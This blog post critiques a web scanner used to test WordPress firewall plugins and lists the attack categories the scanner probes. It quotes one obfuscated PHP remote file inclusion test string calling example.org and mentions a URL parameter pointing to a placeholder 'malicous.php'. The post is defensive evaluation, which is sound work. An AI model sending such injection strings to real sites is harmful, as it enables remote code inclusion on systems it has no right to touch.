When it comes to testing the protection offered by WordPress security plugins, we seem to be alone in doing that, which isn’t good. We had someone contact us not that long ago who was complaining about our the accuracy of our testing results and vaguely citing results from another testing solution as producing different results. We offered to publish those results, but they claimed they couldn’t for an unclear reason. We also asked them some basic questions to try to understand what the testing actually involved. They didn’t appear to understand the questions, but they then cited another source for doing this type of testing, a web scanner provided by the developer of the NinjaFirewall plugin, NinTechNet. We were curious to see what that offered. Here is how that is described:

The Website Security Scanner is a tool you can use to test and rate your website security. It is not a hacking tool: it won’t hack your site and you can’t use it to hack someone else’s website either.
Whether you use a security application to protect your site (a web application firewall, a security plugin or extension) and need to know how efficient it is, or just want to test your own security rules, the Website Security Scanner is exactly what you need.

They provided some information on what they were testing for:

“Basic” will simulate very common threats such as SQL injection (SQLi), cross-site scripting (XSS), remote/local file inclusion (RFI/LFI), code injection etc; “Intermediate” will use similar but more complex ones; “Advanced” will include some evasion techniques and obfuscated data often used by hackers to bypass firewalls.
Note that all threats are based on real vulnerabilities that affected most popular web applications over the past few years.

To get a better idea of what is going on with that, we tried running it at the “All” test level, which includes 48 tests, and recording the requests made.

The results page showed did varying amounts of tests for what are listed as the following:

• SQL injection
• Cross-site scripting
• Remote file inclusion
• Local file inclusion
• Server-Side Includes injection
• Code injection
• PHP object injection
• NULL byte
• XML External Entity

What is missing there are a lot of issues that WordPress firewall plugins should be providing protection against. That is in part a limitation of the test setup, since without code running on the website, you can not test for many issues. That also creates another problem, since any WordPress firewall plugin that handles protection ahead of vulnerable code actually running, which NinjaFirewall does itself to a certain extent, that protection will be missed by the testing.

The tests also include some things that don’t seem all that useful to test for.

Three of the tests were for NULL bytes, which appears to be related to an issue that was resolved in PHP 5.3.4, which was released in December 2010.

There was one test for XML External Entity, which is not issue you really see with WordPress plugins, but at least it is still a possible issue.

The tests for remote file inclusion look particularly problematic. One of the tests included a URL parameter with a value set to “hTTp://www.example.ORg/malicous.php?”. There is nothing inherently malicious about that, and a legitimate URL could include another URL in them. Two of the other tests included PHP code that would do remote file inclusion itself, so it isn’t actually testing if there is firewall protection against a remote file inclusion file inclusion vulnerability. One of those was this:

rEQuirE_oNce /* foo */ \'http://example.org/script.php\';

rEQuirE_oNce /* foo */ \'http://example.org/script.php\';

Notably, that is missing a PHP opening tag, so the code normally wouldn’t run. There also are code injection tests that test for included PHP code as well, which seems to be the appropriate classification of that.

Something else notably absent from the testing were any tests involving sending files with the request. Despite that being a common vector for malicious payloads, not just with WordPress websites, but more generally.

Not a Great Solution

Our overall takeaway is that isn’t a great solution for testing the efficacy of WordPress firewall plugins.

If anyone is aware of any other solutions that might provide better results, please leave a reply in the comments.